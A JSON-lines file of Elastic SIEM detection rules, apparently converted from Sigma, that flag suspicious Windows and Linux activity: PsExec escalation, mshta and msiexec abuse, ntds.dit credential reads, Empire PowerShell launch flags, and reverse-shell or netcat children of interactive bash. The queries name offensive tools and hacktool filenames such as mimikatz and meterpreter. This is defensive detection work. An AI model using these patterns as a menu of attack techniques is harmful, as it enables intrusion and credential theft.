{"description": "Detects suspicious flags used by PsExec and PAExec to escalate a command line to LOCAL_SYSTEM rights", "enabled": false, "false_positives": ["Admins that use PsExec or PAExec to escalate to the SYSTEM account for maintenance purposes (rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4f414e88-4de9-5948-23ea-89a75bc38193", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "PsExec/PAExec Escalation to LOCAL SYSTEM", "query": "(process.command_line.text:*\\ \\-s\\ cmd.exe AND process.command_line.text:(*PsExec* OR *PAExec* OR *accepteula* OR *cmd\\ \\/c\\ * OR *cmd\\ \\/k\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Resource Development", "T1587"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1587", "name": "Develop Capabilities", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "64af5b7c-e9ca-3352-19a9-f512f4c91e55", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious HWP Sub Processes", "query": "(process.parent.executable:*\\\\Hwp.exe AND process.executable:*\\\\gbb.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1059", "T1203", "T1566"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1566", "name": "Phishing", "reference": ""}]}, {"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1203", "name": "Exploitation for Client Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "(word_processor)"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious IIS native-code module installations via command line", "enabled": false, "false_positives": ["Unknown as it may vary from organisation to arganisation how admins use to install IIS modules"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "17733750-af93-0d2b-99d2-3ff566c05b97", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "IIS Native-Code Module Command Line Installation", "query": "(process.executable:*\\\\appcmd.exe AND process.command_line:*install* AND process.command_line:*module* AND process.command_line:*\\/name\\:*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1505"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1505", "name": "Server Software Component", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious inline VBScript keywords as used by UNC2452", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "acfad308-dc49-6fad-1a44-c41bbc6b8ef3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious VBScript UN2452 Pattern", "query": "((process.command_line.text:*Execute* AND process.command_line.text:*CreateObject* AND process.command_line.text:*RegRead* AND process.command_line.text:*window.close* AND process.command_line.text:*\\\\Microsoft\\\\Windows\\\\CurrentVersion*) AND (NOT (process.command_line.text:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious interactive bash as a parent to rather uncommon child processes", "enabled": false, "false_positives": ["Legitimate software that uses these patterns"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "1e862d31-5698-c85b-5797-5a8df3050332", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Interactive Bash Suspicious Children", "query": "(process.parent.command_line:\"bash\\ \\-i\" AND (process.command_line:(*\\-c\\ import\\ * OR *base64* OR *pty.spawn*) OR process.executable:(*whoami OR *iptables OR *\\/ncat OR *\\/nc OR *\\/netcat)))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", "enabled": false, "false_positives": ["unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "38a997f7-174b-151d-9659-88e6580e1fb4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Get-ADDBAccount Usage", "query": "((powershell.command.invocation_details:*Get\\-ADDBAccount* OR winlog.event_data.Payload:*Get\\-ADDBAccount*) AND (powershell.command.invocation_details:*BootKey\\ * OR winlog.event_data.Payload:*BootKey\\ *) AND (powershell.command.invocation_details:*DatabasePath\\ * OR winlog.event_data.Payload:*DatabasePath\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database). Used to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.", "enabled": false, "false_positives": ["Processes in the filter condition"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8e93e526-16cf-7f9c-f0e8-1e8d74b5a8f3", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ADFS Database Named Pipe Connection", "query": "(file.name:\"\\\\MICROSOFT##WID\\\\tsql\\\\query\" AND (NOT (process.executable:(*\\\\Microsoft.IdentityServer.ServiceHost.exe OR *\\\\Microsoft.Identity.Health.Adfs.PshSurrogate.exe OR *\\\\AzureADConnect.exe OR *\\\\Microsoft.Tri.Sensor.exe OR *\\\\wsmprovhost.exe OR *\\\\mmc.exe OR *\\\\sqlservr.exe OR *\\\\tssdis.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1005"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1005", "name": "Data from Local System", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects suspicious log entries in Linux log files", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "23e3b13c-b9a9-5333-fae2-2f60aa02352d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Log Entries", "query": "(*entered\\ promiscuous\\ mode* OR *Deactivating\\ service* OR *Oversized\\ packet\\ received\\ from* OR *imuxsock\\ begins\\ to\\ drop\\ messages*)", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious LOLBIN AccCheckConsole execution with parameters as used to load an arbitrary DLL", "enabled": false, "false_positives": ["Legitimate use of the UI Accessibility Checker"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "21249752-20a0-cce7-a2b8-7c4c66cb3467", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious LOLBIN AccCheckConsole", "query": "(process.executable:*\\\\AccCheckConsole.exe AND process.command_line:*\\ \\-window\\ * AND process.command_line:*.dll*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious malformed user agent strings in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2d696966-aaa3-1a1b-0a9e-27c432e4d3dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious User Agent", "query": "((user_agent.original:(user\\-agent* OR Mozilla\\/3.0\\ * OR Mozilla\\/2.0\\ * OR Mozilla\\/1.0\\ * OR Mozilla\\ * OR \\ Mozilla\\/* OR Mozila\\/* OR Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ MS\\ Web\\ Services\\ Client\\ Protocol*) OR user_agent.original:(*\\ \\(compatible;MSIE\\ * OR *.0;Windows\\ NT\\ * OR *loader*) OR user_agent.original:(\"_\" OR \"CertUtil\\ URL\\ Agent\" OR \"Mozilla\\/5.0\\ \\(Windows\\ NT\\ 10.0;\\ Win64;\\ x64;\\ rv\\:60.0\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.3;\\ WOW64;\\ rv\\:28.0\$\\ Gecko\\/20100101\\ Firefox\\/28.0\" OR \"HTTPS\" OR \"Erbium\\-UA\\-4ce7c27cb4be9d32e333bf032c88235a\" OR \"rqwrwqrqwrqw\" OR \"qwrqrwrqwrqwr\" OR \"rc2.0\\/client\" OR \"TakeMyPainBack\")) AND (NOT (user_agent.original:Mozilla\\/3.0\\ *\\ Acrobat\\ * OR (url.domain:(*.acrobat.com OR *.adobe.com OR *.adobe.io) OR destination.domain:(*.acrobat.com OR *.adobe.com OR *.adobe.io)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious malformed user agent strings in proxy logs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2d696966-aaa3-1a1b-0a9e-27c432e4d3dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious User Agent", "query": "((user_agent.original:(user\\-agent* OR Mozilla\\/3.0\\ * OR Mozilla\\/2.0\\ * OR Mozilla\\/1.0\\ * OR Mozilla\\ * OR \\ Mozilla\\/* OR Mozila\\/* OR Mozilla\\/4.0\\ \$compatible;\\ MSIE\\ 6.0;\\ MS\\ Web\\ Services\\ Client\\ Protocol*) OR user_agent.original:(*\\ \\(compatible;MSIE\\ * OR *.0;Windows\\ NT\\ * OR *loader*) OR user_agent.original:(\"_\" OR \"CertUtil\\ URL\\ Agent\" OR \"Mozilla\\/5.0\\ \\(Windows\\ NT\\ 10.0;\\ Win64;\\ x64;\\ rv\\:60.0\$\" OR \"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.3;\\ WOW64;\\ rv\\:28.0\$\\ Gecko\\/20100101\\ Firefox\\/28.0\" OR \"HTTPS\")) AND (NOT (user_agent.original:Mozilla\\/3.0\\ *\\ Acrobat\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc", "enabled": false, "false_positives": ["Some fasle positives could occure with the admin or guest account. It depends on the scripts being used by the admins in your env. If you experience a lot of FP you could reduce the level to medium"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b509d274-8f03-9a0f-6a74-bbbcef85d2b1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Manipulation Of Default Accounts", "query": "((process.executable.text:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line.text:*\\ user\\ * AND process.command_line.text:(*\\ J\u00e4rjestelm\u00e4nvalvoja\\ * OR *\\ Rendszergazda\\ * OR *\\ \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\\ * OR *\\ Administrateur\\ * OR *\\ Administrador\\ * OR *\\ Administrat\u00f6r\\ * OR *\\ Administrator\\ * OR *\\ guest\\ * OR *\\ DefaultAccount\\ * OR *\\ \\\"J\u00e4rjestelm\u00e4nvalvoja\\\"\\ * OR *\\ \\\"Rendszergazda\\\"\\ * OR *\\ \\\"\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\\\"\\ * OR *\\ \\\"Administrateur\\\"\\ * OR *\\ \\\"Administrador\\\"\\ * OR *\\ \\\"Administrat\u00f6r\\\"\\ * OR *\\ \\\"Administrator\\\"\\ * OR *\\ \\\"guest\\\"\\ * OR *\\ \\\"DefaultAccount\\\"\\ * OR *\\ 'J\u00e4rjestelm\u00e4nvalvoja'\\ * OR *\\ 'Rendszergazda'\\ * OR *\\ '\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440'\\ * OR *\\ 'Administrateur'\\ * OR *\\ 'Administrador'\\ * OR *\\ 'Administrat\u00f6r'\\ * OR *\\ 'Administrator'\\ * OR *\\ 'guest'\\ * OR *\\ 'DefaultAccount'\\ *)) AND (NOT (process.command_line.text:*guest* AND process.command_line.text:*\\/active\\ no*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects suspicious mshta process patterns", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b177ca03-5270-1322-3b4e-281b120e5bcf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious MSHTA Process Patterns", "query": "(process.executable.text:*\\\\mshta.exe AND ((process.parent.executable.text:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe) OR process.command_line.text:(*\\\\AppData\\\\Local* OR *C\\:\\\\Windows\\\\Temp* OR *C\\:\\\\Users\\\\Public*)) OR (NOT ((process.executable.text:(C\\:\\\\Windows\\\\System32* OR C\\:\\\\Windows\\\\SysWOW64*)) OR (process.command_line.text:(*.htm* OR *.hta*) AND process.command_line.text:(*mshta.exe OR *mshta))))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious msiexec process starts in an uncommon directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5dc2765a-59ff-e513-96b0-2162f4bc012a", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious MsiExec Directory", "query": "(process.executable:*\\\\msiexec.exe AND (NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\* OR C\\:\\\\Windows\\\\WinSxS\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious msiexec process starts with web addresses as parameter", "enabled": false, "false_positives": ["False positives depend on scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0b834688-7a39-0721-365c-ebe58f7dbf71", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MsiExec Web Install", "query": "(process.command_line:*\\ msiexec* AND process.command_line:*\\:\\/\\/*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1105", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious network connection by Notepad", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2c9c57d7-546b-7de0-8440-6d065134264f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Notepad Making Network Connection", "query": "(process.executable:*\\\\notepad.exe AND (NOT (destination.port:\"9100\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1055"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1055", "name": "Process Injection", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["EagleEye Team"], "license": ""}
{"description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8cedea26-bc4b-137d-0428-fa808dc167dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Network Connection Binary No CommandLine", "query": "((winlog.event_data.Initiated:\"true\" AND process.executable:(*\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\dllhost.exe) AND process.command_line:(*\\\\regsvr32.exe OR *\\\\rundll32.exe OR *\\\\dllhost.exe)) AND (NOT ((process.command_line:\"\") OR (NOT _exists_:process.command_line))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious new RUN key element pointing to an executable in a suspicious folder", "enabled": false, "false_positives": ["Software using weird folders for updates"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02d5d350-0950-b7c9-78cf-99dd3ae3ae57", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "New RUN Key Pointing to Suspicious Folder", "query": "((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\* OR *\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\*)) AND (winlog.event_data.Details:(*C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\\\$Recycle.bin\\\\* OR *C\\:\\\\Temp\\\\* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Users\\\\Default\\\\* OR *C\\:\\\\Users\\\\Desktop\\\\* OR *\\\\AppData\\\\Local\\\\Temp\\\\*) OR winlog.event_data.Details:(%Public%\\\\* OR wscript* OR cscript*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis", "Sander Wiebing"], "license": ""}
{"description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", "enabled": false, "false_positives": ["Other browsers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "20b33681-fc16-1e34-b417-271053a88e7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Outbound Kerberos Connection", "query": "((destination.port:\"88\" AND winlog.event_data.Initiated:\"true\") AND (NOT (process.executable:(*\\\\lsass.exe OR *\\\\opera.exe OR *\\\\chrome.exe OR *\\\\firefox.exe OR *\\\\tomcat\\\\bin\\\\tomcat8.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "Lateral Movement", "T1550", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}, {"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", "enabled": false, "false_positives": ["Other browsers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "20b33681-fc16-1e34-b417-271053a88e7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Outbound Kerberos Connection", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5156\" AND destination.port:\"88\") AND (NOT (process.executable:(*\\\\lsass.exe OR *\\\\opera.exe OR *\\\\chrome.exe OR *\\\\firefox.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1558"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", "enabled": false, "false_positives": ["Other browsers"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "20b33681-fc16-1e34-b417-271053a88e7d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Outbound Kerberos Connection", "query": "(winlog.channel:\"Security\" AND (winlog.event_id:\"5156\" AND DestPort:\"88\") AND (NOT (Application:(*\\\\lsass.exe OR *\\\\opera.exe OR *\\\\chrome.exe OR *\\\\firefox.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1558"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ilyas Ochkov", "oscd.community"], "license": ""}
{"description": "Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).", "enabled": false, "false_positives": ["Admin activity", "Scripts and administrative tools used in the monitored environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ab0a4e09-a1a1-ac97-b79e-881c15347daa", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Fsutil Suspicious Invocation", "query": "((process.executable:*\\\\fsutil.exe OR winlog.event_data.OriginalFileName:\"fsutil.exe\") AND process.command_line:(*deletejournal* OR *createjournal*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Ecco", "E.M. Anhaus", "oscd.community"], "license": ""}
{"description": "Detects suspicious parent processes that should not have any children or should only have a single possible child program", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "62d36208-441f-f940-ca41-7d672c055167", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Process Parents", "query": "(process.parent.executable.text:(*\\\\minesweeper.exe OR *\\\\winver.exe OR *\\\\bitsadmin.exe) OR (process.parent.executable.text:(*\\\\csrss.exe OR *\\\\certutil.exe OR *\\\\eventvwr.exe OR *\\\\calc.exe OR *\\\\notepad.exe) AND (NOT ((process.executable.text:(*\\\\WerFault.exe OR *\\\\wermgr.exe OR *\\\\conhost.exe OR *\\\\mmc.exe OR *\\\\win32calc.exe OR *\\\\notepad.exe)) OR (NOT _exists_:process.executable.text)))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious patterns in program names or folders that are often found in malicious samples or hacktools", "enabled": false, "false_positives": ["Legitimate tools that accidentally match on the searched patterns"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "220c6688-7b90-0e2f-2ed0-6e3d602be09e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Program Names", "query": "(process.executable:*\\\\CVE\\-202* OR process.executable:(*\\\\poc.exe OR *\\\\artifact.exe OR *\\\\artifact64.exe OR *\\\\artifact_protected.exe OR *\\\\artifact32.exe OR *\\\\artifact32big.exe OR *obfuscated.exe OR *obfusc.exe OR *\\\\meterpreter) OR process.command_line:(*inject.ps1* OR *Invoke\\-CVE* OR *pupy.ps1* OR *payload.ps1* OR *beacon.ps1* OR *PowerView.ps1* OR *bypass.ps1* OR *obfuscated.ps1* OR *obfusc.ps1* OR *obfus.ps1* OR *obfs.ps1* OR *evil.ps1* OR *MiniDogz.ps1* OR *_enc.ps1* OR *\\\\shell.ps1* OR *\\\\rshell.ps1* OR *revshell.ps1* OR *\\\\av.ps1* OR *\\\\av_test.ps1* OR *adrecon.ps1* OR *mimikatz.ps1* OR *\\\\PowerUp_* OR *powerup.ps1* OR *\\\\Temp\\\\a.ps1* OR *\\\\Temp\\\\p.ps1* OR *\\\\Temp\\\\1.ps1* OR *Hound.ps1* OR *encode.ps1* OR *powercat.ps1*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious Plink tunnel remote forarding to a local port", "enabled": false, "false_positives": ["Administrative activity using a remote port forwarding to a local port"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "93510b8a-ff35-6197-3189-7e72ce8da7de", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Plink Remote Forwarding", "query": "(winlog.event_data.Description:\"Command\\-line\\ SSH,\\ Telnet,\\ and\\ Rlogin\\ client\" AND process.command_line.text:*\\ \\-R\\ *)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1021", "T1572"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1021", "name": "Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects suspicious powershell command line parameters used in Empire", "enabled": false, "false_positives": ["Other tools that incidentally use the same command line parameters"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df982497-904b-224d-68a1-93db4ff32313", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Empire PowerShell Launch Parameters", "query": "process.command_line:(*\\ \\-NoP\\ \\-sta\\ \\-NonI\\ \\-W\\ Hidden\\ \\-Enc\\ * OR *\\ \\-noP\\ \\-sta\\ \\-w\\ 1\\ \\-enc\\ * OR *\\ \\-NoP\\ \\-NonI\\ \\-W\\ Hidden\\ \\-enc\\ * OR *\\ \\-noP\\ \\-sta\\ \\-w\\ 1\\ \\-enc* OR *\\ \\-enc\\ \\ SQB* OR *\\ \\-nop\\ \\-exec\\ bypass\\ \\-EncodedCommand\\ *)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", 